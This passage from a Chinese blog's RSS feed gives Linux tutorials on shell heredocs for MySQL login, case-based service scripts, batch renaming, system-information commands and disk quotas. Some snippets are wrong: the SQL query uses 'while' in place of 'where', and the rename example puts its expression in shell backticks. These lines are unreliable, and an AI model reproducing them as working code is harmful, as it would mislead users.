结合使用，表示后续的输入作为子命令或子Shell的输入，直到遇到EOF为止，再返回到主调Shell。</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">可以把EOF替换成其他东西</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">意思是把内容当作标准输入传给程序</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">回顾一下&lt; &lt;的用法。当s h e l l看到&lt; &lt;的时候，它就会知道下一个词是一个分界</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">符。在该分界符以后的内容都被当作输入，直到s h e l l又看到该分界符(位于单独的一行)。这个</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">分界符可以是你所定义的任何字符串。</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">方法1.需要，自动登录mysql（root:root,passwd:123456),查询test库，test1表里的user=aa的记录.</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">#!/bin/sh</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">mysql -uroot -p123456 &lt;&lt;EOF</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">use test;</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">select * from testaa while a=10000; ###1000 not usr single quote mark,because a is int&nbsp;</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; "># type,only char type need single quote mark.</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">exit</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">EOF</span>&nbsp;<img src ="http://www.blogjava.net/kxbin/aggbug/376525.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kxbin/" target="_blank">kxbin</a> 2012-04-24 23:13 <a href="http://www.blogjava.net/kxbin/articles/376525.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>shell case小程序</title><link>http://www.blogjava.net/kxbin/articles/376524.html</link><dc:creator>kxbin</dc:creator><author>kxbin</author><pubDate>Tue, 24 Apr 2012 15:08:00 GMT</pubDate><guid>http://www.blogjava.net/kxbin/articles/376524.html</guid><wfw:comment>http://www.blogjava.net/kxbin/comments/376524.html</wfw:comment><comments>http://www.blogjava.net/kxbin/articles/376524.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kxbin/comments/commentRss/376524.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kxbin/services/trackbacks/376524.html</trackback:ping><description><![CDATA[<div>&nbsp; 最典型的shell case命令匹配命令行，启动脚本的start|stop|restart|status处理</div><div>&nbsp; case &nbsp; "$@" &nbsp; in &nbsp; &nbsp;</div><div>($@ 字符串数组：以"参数1" "参数2" ... 的字符串数组形式保存所有参数&nbsp;</div><div>对于单个参数的情况，$@就一个字符串)</div><div></div><div>&nbsp; start) &nbsp; &nbsp;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; echo &nbsp; -n &nbsp; "Starting &nbsp; firewall..." &nbsp; &nbsp;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 。。。 &nbsp;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; echo &nbsp; "OK!" &nbsp; &nbsp;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; exit &nbsp; 0 &nbsp; &nbsp;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ;; &nbsp; &nbsp;</div><div>&nbsp; stop) &nbsp; &nbsp;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; echo &nbsp; -n &nbsp; "Stopping &nbsp; firewall..."</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 。。。 &nbsp;&nbsp;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; exit &nbsp; 0 &nbsp; &nbsp;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ;; &nbsp;&nbsp;</div><div>restart) &nbsp; &nbsp;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $0 &nbsp; stop &nbsp; &nbsp; $0即执行原始程序 &nbsp; &nbsp; &nbsp;&nbsp;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $0 &nbsp; start &nbsp; &nbsp;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ;; &nbsp; &nbsp;</div><div>status) &nbsp; &nbsp;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; clear &nbsp; &nbsp;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; echo &nbsp; "&gt;------------------------------------------" &nbsp; &nbsp;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; iptables &nbsp; -L &nbsp; &nbsp;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; echo &nbsp; "&gt;------------------------------------------" &nbsp; &nbsp;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; iptables &nbsp; -t &nbsp; nat &nbsp; -L &nbsp; POSTROUTING &nbsp; &nbsp;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; exit &nbsp; 0 &nbsp;&nbsp;</div><div>&nbsp; &nbsp; &nbsp;*) &nbsp; &nbsp;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; echo &nbsp; "Usage: &nbsp; $0 &nbsp; {start|stop|restart|status}" &nbsp; &nbsp;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; exit &nbsp; 1 &nbsp; &nbsp;</div><div>&nbsp; esac &nbsp;&nbsp;</div><div></div><img src ="http://www.blogjava.net/kxbin/aggbug/376524.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kxbin/" target="_blank">kxbin</a> 2012-04-24 23:08 <a href="http://www.blogjava.net/kxbin/articles/376524.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Linux命令学习</title><link>http://www.blogjava.net/kxbin/articles/376421.html</link><dc:creator>kxbin</dc:creator><author>kxbin</author><pubDate>Mon, 23 Apr 2012 14:23:00 GMT</pubDate><guid>http://www.blogjava.net/kxbin/articles/376421.html</guid><wfw:comment>http://www.blogjava.net/kxbin/comments/376421.html</wfw:comment><comments>http://www.blogjava.net/kxbin/articles/376421.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kxbin/comments/commentRss/376421.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kxbin/services/trackbacks/376421.html</trackback:ping><description><![CDATA[1.rename from to file... &nbsp;批量修改文件名<br />&nbsp; &nbsp;from 源字符<br />&nbsp; &nbsp;to &nbsp; &nbsp; 目标字符<br />&nbsp; &nbsp;file &nbsp; &nbsp;要修改的文件<br />&nbsp; &nbsp;eg: rename .rm .rmvb * 把所有文件的后缀由rm改为rmvb<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;rename `tr/A-Z/a-z/` * 把所有文件名中的大写字母改为小写字母<br />&nbsp; &nbsp;&nbsp;<img src ="http://www.blogjava.net/kxbin/aggbug/376421.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kxbin/" target="_blank">kxbin</a> 2012-04-23 22:23 <a href="http://www.blogjava.net/kxbin/articles/376421.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>SHELL编程入门手册</title><link>http://www.blogjava.net/kxbin/articles/373967.html</link><dc:creator>kxbin</dc:creator><author>kxbin</author><pubDate>Thu, 12 Apr 2012 07:39:00 GMT</pubDate><guid>http://www.blogjava.net/kxbin/articles/373967.html</guid><wfw:comment>http://www.blogjava.net/kxbin/comments/373967.html</wfw:comment><comments>http://www.blogjava.net/kxbin/articles/373967.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kxbin/comments/commentRss/373967.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kxbin/services/trackbacks/373967.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 一、用户登陆进入系统后的系统环境变量：&nbsp;$HOME 使用者自己的目录&nbsp;$PATH 执行命令时所搜寻的目录&nbsp;$TZ 时区&nbsp;$MAILCHECK 每隔多少秒检查是否有新的信件&nbsp;$PS1 在命令列时的提示号&nbsp;$PS2 当命令尚未打完时，Shell 要求再输入时的提示号&nbsp;$MANPATH man 指令的搜寻路径&nbsp;二、特殊变量：...&nbsp;&nbsp;<a href='http://www.blogjava.net/kxbin/articles/373967.html'>阅读全文</a><img src ="http://www.blogjava.net/kxbin/aggbug/373967.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kxbin/" target="_blank">kxbin</a> 2012-04-12 15:39 <a href="http://www.blogjava.net/kxbin/articles/373967.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>AWK用法（转）</title><link>http://www.blogjava.net/kxbin/articles/373717.html</link><dc:creator>kxbin</dc:creator><author>kxbin</author><pubDate>Tue, 10 Apr 2012 07:58:00 GMT</pubDate><guid>http://www.blogjava.net/kxbin/articles/373717.html</guid><wfw:comment>http://www.blogjava.net/kxbin/comments/373717.html</wfw:comment><comments>http://www.blogjava.net/kxbin/articles/373717.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kxbin/comments/commentRss/373717.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kxbin/services/trackbacks/373717.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 1.什么是awk?&nbsp;你可能对UNIX比较熟悉，但你可能对awk很陌生，这一点也不奇怪，的确，与其优秀的功能相比，awk还远没达到它应有的知名度。awk是什么？与其它大多数UNIX命令不同的是，从名字上看，我们不可能知道awk的功能：它既不是具有独立意义的英文单词，也不是几个相关单词的缩写。事实上，awk是三个人名的缩写，他们是：Aho、(Peter)&nbsp;Weinberg和(Bra...&nbsp;&nbsp;<a href='http://www.blogjava.net/kxbin/articles/373717.html'>阅读全文</a><img src ="http://www.blogjava.net/kxbin/aggbug/373717.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kxbin/" target="_blank">kxbin</a> 2012-04-10 15:58 <a href="http://www.blogjava.net/kxbin/articles/373717.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Linux下系统信息</title><link>http://www.blogjava.net/kxbin/articles/373124.html</link><dc:creator>kxbin</dc:creator><author>kxbin</author><pubDate>Sat, 31 Mar 2012 06:38:00 GMT</pubDate><guid>http://www.blogjava.net/kxbin/articles/373124.html</guid><wfw:comment>http://www.blogjava.net/kxbin/comments/373124.html</wfw:comment><comments>http://www.blogjava.net/kxbin/articles/373124.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kxbin/comments/commentRss/373124.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kxbin/services/trackbacks/373124.html</trackback:ping><description><![CDATA[<div>系统</div><div></div><div># uname -a &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # 查看内核/操作系统/CPU信息</div><div># head -n 1 /etc/issue &nbsp; # 查看操作系统版本</div><div># cat /proc/cpuinfo &nbsp; &nbsp; &nbsp;# 查看CPU信息</div><div># hostname &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # 查看计算机名</div><div># lspci -tv &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 列出所有PCI设备</div><div># lsusb -tv &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 列出所有USB设备</div><div># lsmod &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 列出加载的内核模块</div><div># env &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 查看环境变量</div><div></div><div>资源</div><div></div><div># free -m &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 查看内存使用量和交换区使用量</div><div># df -h &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 查看各分区使用情况</div><div># du -sh &lt;目录名&gt; &nbsp; &nbsp; &nbsp; &nbsp;# 查看指定目录的大小</div><div># grep MemTotal /proc/meminfo &nbsp; # 查看内存总量</div><div># grep MemFree /proc/meminfo &nbsp; &nbsp;# 查看空闲内存量</div><div># uptime &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # 查看系统运行时间、用户数、负载</div><div># cat /proc/loadavg &nbsp; &nbsp; &nbsp;# 查看系统负载</div><div></div><div>磁盘和分区</div><div></div><div># mount | column -t &nbsp; &nbsp; &nbsp;# 查看挂接的分区状态</div><div># fdisk -l &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # 查看所有分区</div><div># swapon -s &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 查看所有交换分区</div><div># hdparm -i /dev/hda &nbsp; &nbsp; # 查看磁盘参数(仅适用于IDE设备)</div><div># dmesg | grep IDE &nbsp; &nbsp; &nbsp; # 查看启动时IDE设备检测状况</div><div></div><div>网络</div><div></div><div># ifconfig &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # 查看所有网络接口的属性</div><div># iptables -L &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 查看防火墙设置</div><div># route -n &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # 查看路由表</div><div># netstat -lntp &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 查看所有监听端口</div><div># netstat -antp &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 查看所有已经建立的连接</div><div># netstat -s &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # 查看网络统计信息</div><div></div><div>进程</div><div></div><div># ps -ef &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # 查看所有进程</div><div># top &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 实时显示进程状态</div><div></div><div>用户</div><div></div><div># w &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 查看活动用户</div><div># id &lt;用户名&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 查看指定用户信息</div><div># last &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # 查看用户登录日志</div><div># cut -d: -f1 /etc/passwd &nbsp; # 查看系统所有用户</div><div># cut -d: -f1 /etc/group &nbsp; &nbsp;# 查看系统所有组</div><div># crontab -l &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # 查看当前用户的计划任务</div><div></div><div>服务</div><div></div><div># chkconfig --list &nbsp; &nbsp; &nbsp; # 列出所有系统服务</div><div># chkconfig --list | grep on &nbsp; &nbsp;# 列出所有启动的系统服务</div><div></div><div>程序</div><div></div><div># rpm -qa &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # 查看所有安装的软件包</div><div>﻿# rpm -qa|grep vim &nbsp; &nbsp; &nbsp; # 查看安装的某个软件包&nbsp;</div><img src ="http://www.blogjava.net/kxbin/aggbug/373124.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kxbin/" target="_blank">kxbin</a> 2012-03-31 14:38 <a href="http://www.blogjava.net/kxbin/articles/373124.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Linux磁盘配额</title><link>http://www.blogjava.net/kxbin/articles/372910.html</link><dc:creator>kxbin</dc:creator><author>kxbin</author><pubDate>Wed, 28 Mar 2012 08:22:00 GMT</pubDate><guid>http://www.blogjava.net/kxbin/articles/372910.html</guid><wfw:comment>http://www.blogjava.net/kxbin/comments/372910.html</wfw:comment><comments>http://www.blogjava.net/kxbin/articles/372910.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kxbin/comments/commentRss/372910.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kxbin/services/trackbacks/372910.html</trackback:ping><description><![CDATA[<p style="line-height: 20px; color: #1f5268; font-family: Georgia; font-size: 12px; letter-spacing: 2px; background-color: #ffffff; "><span style="color: #000000; ">启用linux的磁盘配额功能</span><br style="line-height: normal; " /><span style="color: #000000; ">安装一块新的硬盘</span><br style="line-height: normal; " /><span style="color: #000000; ">每一步：查看quota软件包是否安装</span><br style="line-height: normal; " /><span style="color: #000000; ">#rpm -qa | grep quota&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \\检查quota软件包的安装情况</span><br style="line-height: normal; " /><span style="color: #000000; ">quota-3.06-9&nbsp;&nbsp;&nbsp;</span><br style="line-height: normal; " /><span style="color: #000000; ">第二步：</span><br style="line-height: normal; " /><span style="color: #000000; ">修改/etc/fstab文件：</span><br style="line-height: normal; " /><span style="color: #000000; ">/dev/sdb&nbsp;&nbsp;&nbsp;&nbsp; /mnt/sdb&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; auto&nbsp;&nbsp;&nbsp; defaults&nbsp;&nbsp;&nbsp; 1&nbsp;&nbsp; 1</span><br style="line-height: normal; " /><span style="color: #000000; ">改为：</span><br style="line-height: normal; " /><span style="color: #000000; ">/dev/sdb&nbsp;&nbsp;&nbsp;&nbsp; /mnt/sdb&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; auto&nbsp;&nbsp;&nbsp; defaults,usrquota,grpquota&nbsp;&nbsp;&nbsp; 1&nbsp;&nbsp; 1<br /></span><span style="color: #ff0000; ">如果是临时启用：</span><br /><span style="color: #ff0000; ">mount -o remount,usrquota,grpquota /app1</span><br style="line-height: normal; " /><span style="color: #000000; ">第三步：</span><br style="line-height: normal; " /><span style="color: #000000; ">改完后重启动计算机 或用 mount -a -o remount \\重新mount所有的磁盘</span><br style="line-height: normal; " /><span style="color: #000000; ">注：usrquota是基于用户的磁盘配额；grpquota是基于组的磁盘配额。</span><br style="line-height: normal; " /><span style="color: #000000; ">第四步：quotacheck -cvug /mnt/sdb&nbsp;&nbsp;&nbsp;&nbsp; \\运行quotacheck命令生成磁盘配额文件。</span><br style="line-height: normal; " /><span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 参数：-c 生成配额文件（aquota.user和aquota.group）</span><br style="line-height: normal; " /><span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -u 检查用户配额</span><br style="line-height: normal; " /><span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -g 检查用组群配额</span><br style="line-height: normal; " /><span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -v 表示扫描磁盘时，显示扫描过程信息。&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><br style="line-height: normal; " /><span style="color: #000000; ">第五步：quotaon /mnt/sdb&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \\打开文件系统的磁盘配额功能&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><br style="line-height: normal; " />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p><p style="line-height: 20px; color: #1f5268; font-family: Georgia; font-size: 12px; letter-spacing: 2px; background-color: #ffffff; "><br style="line-height: normal; " /><span style="color: #000000; ">编辑用户和组配额限制</span><br style="line-height: normal; " /><span style="color: #000000; ">对用户和组的磁盘配额限制分为两种。</span><br style="line-height: normal; " /><span style="color: #000000; ">&nbsp;&nbsp; 软限制：用户和组在文件系统上可以使用的磁盘空间和文件数量，在某个过渡期内可以暂时超过这个限制。</span><br style="line-height: normal; " /><span style="color: #000000; ">&nbsp;&nbsp; 硬限制：用户和组可以使用的最大磁盘空间或最多的文件数量，绝对不允许超过这个限制。</span><br style="line-height: normal; " /><span style="color: #000000; ">&nbsp;&nbsp; 对用户进行磁盘容量限制时，需要修改blocks列后面的soft（软限制）和hard（硬限制）列的数值，单位是KB ；</span><br style="line-height: normal; " /><span style="color: #000000; ">&nbsp;&nbsp; 对用户进行文件数量限制时，需要修改inodes列后面的soft（软限制）和hard（硬限制）列的数值。</span></p><p style="line-height: 20px; color: #1f5268; font-family: Georgia; font-size: 12px; letter-spacing: 2px; background-color: #ffffff; "><span style="color: #000000; ">设置用户配额：</span><br style="line-height: normal; " /><span style="color: #000000; ">#edquota user1</span><br style="line-height: normal; " /><span style="color: #000000; ">设置组配额：</span><br style="line-height: normal; " /><span style="color: #000000; ">#edquota -g users</span><br style="line-height: normal; " /><span style="color: #000000; ">例：</span><br style="line-height: normal; " /><span style="color: #000000; ">disk quotas for user1 (uid 500):</span><br style="line-height: normal; " /><span style="color: #000000; ">Filesystem&nbsp;&nbsp;&nbsp; blocks&nbsp;&nbsp; soft&nbsp;&nbsp;&nbsp; hard&nbsp;&nbsp;&nbsp; inodes&nbsp;&nbsp; soft&nbsp;&nbsp;&nbsp; hard</span><br style="line-height: normal; " /><span style="color: #000000; ">/dev/sdb&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 752&nbsp;&nbsp;&nbsp;&nbsp; 5000&nbsp;&nbsp;&nbsp; 8000&nbsp;&nbsp;&nbsp;&nbsp; 163&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 200&nbsp;&nbsp;&nbsp;&nbsp; 400&nbsp;</span><br style="line-height: normal; " /><span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |</span><br style="line-height: normal; " /><span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 已使用块数&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 拥有文件数&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |</span><br style="line-height: normal; " /><span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 限制容量&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 限制文件个数</span></p><p style="line-height: 20px; color: #1f5268; font-family: Georgia; font-size: 12px; letter-spacing: 2px; background-color: #ffffff; "><span style="color: #000000; ">修改磁盘配额软限制过渡期&nbsp;</span><br style="line-height: normal; " /><span style="color: #000000; ">&nbsp;&nbsp; 当用户使用的空间达到软限制量时会有一个默认为7天的地渡期，超过过渡期便不能继续使用更多的磁盘空间。使用空间</span><br style="line-height: normal; " /><span style="color: #000000; ">一旦达到硬限制，会被立即拒绝使用更多的空间。</span><br style="line-height: normal; " /><span style="color: #000000; ">#edquota -t</span></p><p style="line-height: 20px; color: #1f5268; font-family: Georgia; font-size: 12px; letter-spacing: 2px; background-color: #ffffff; "><span style="color: #000000; ">检查磁盘配额的工作情况</span><br style="line-height: normal; " /><span style="color: #000000; ">获得某用户的磁盘使用情况命令：</span><br style="line-height: normal; " /><span style="color: #000000; ">#quota user</span><br style="line-height: normal; " /><span style="color: #000000; ">或者</span><br style="line-height: normal; " /><span style="color: #000000; ">#quota -g group</span></p><p style="line-height: 20px; color: #1f5268; font-family: Georgia; font-size: 12px; letter-spacing: 2px; background-color: #ffffff; "><span style="color: #000000; ">磁盘空间使用情况的报千告命令：</span><br style="line-height: normal; " /><span style="color: #000000; ">#repquota /dev/sdb</span></p><p style="line-height: 20px; color: #1f5268; font-family: Georgia; font-size: 12px; letter-spacing: 2px; background-color: #ffffff; "><span style="color: #000000; ">&nbsp;&nbsp; (1)用户名后面的&#8220;--&#8221;用于判断该用户是否超出其块限制或索引节点限制。任何一个软限制被超出，相不的&#8220;-&#8221;符号就</span><br style="line-height: normal; " /><span style="color: #000000; ">会被&#8220;+&#8221;代替，第一个&#8220;-&#8221;代表块限制，第二个代表索引节点限制。</span><br style="line-height: normal; " /><span style="color: #000000; ">&nbsp;&nbsp; (2)grace列通常是空白的，如果某个软限额被超出，这一列会显示过渡期中的剩余时间。如果过渡期已过，这一列空白。</span></p><p style="line-height: 20px; color: #1f5268; font-family: Georgia; font-size: 12px; letter-spacing: 2px; background-color: #ffffff; "><br style="line-height: normal; " /><span style="color: #000000; ">查看启用了磁盘配额的文件系统的磁盘使用情况命令：</span><br style="line-height: normal; " /><span style="color: #000000; "># repquota -a</span></p><p style="line-height: 20px; color: #1f5268; font-family: Georgia; font-size: 12px; letter-spacing: 2px; background-color: #ffffff; "><br style="line-height: normal; " /><span style="color: #000000; ">关闭磁盘配额功能命令：</span><br style="line-height: normal; " /><span style="color: #000000; ">#quotaoff /dev/sdb</span></p><p style="line-height: 20px; color: #1f5268; font-family: Georgia; font-size: 12px; letter-spacing: 2px; background-color: #ffffff; "><span style="color: #000000; ">注意事项：</span><br style="line-height: normal; " /><span style="color: #000000; ">&nbsp;&nbsp;&nbsp; （1）如果希望同时使用磁盘配额的软限制和硬限制，则软限制的数值应该小于硬限制。别外</span><br style="line-height: normal; " /><span style="color: #000000; ">，磁盘配额功能对root用户无效，不需要对root用户设置配额。</span><br style="line-height: normal; " /><span style="color: #000000; ">&nbsp;&nbsp;&nbsp; （2）为了保持磁盘配额的正确性，建议用户定期运行命令：quotacheck -vug</span></p><img src ="http://www.blogjava.net/kxbin/aggbug/372910.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kxbin/" target="_blank">kxbin</a> 2012-03-28 16:22 <a href="http://www.blogjava.net/kxbin/articles/372910.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>linux下安装SVN</title><link>http://www.blogjava.net/kxbin/articles/372711.html</link><dc:creator>kxbin</dc:creator><author>kxbin</author><pubDate>Mon, 26 Mar 2012 06:59:00 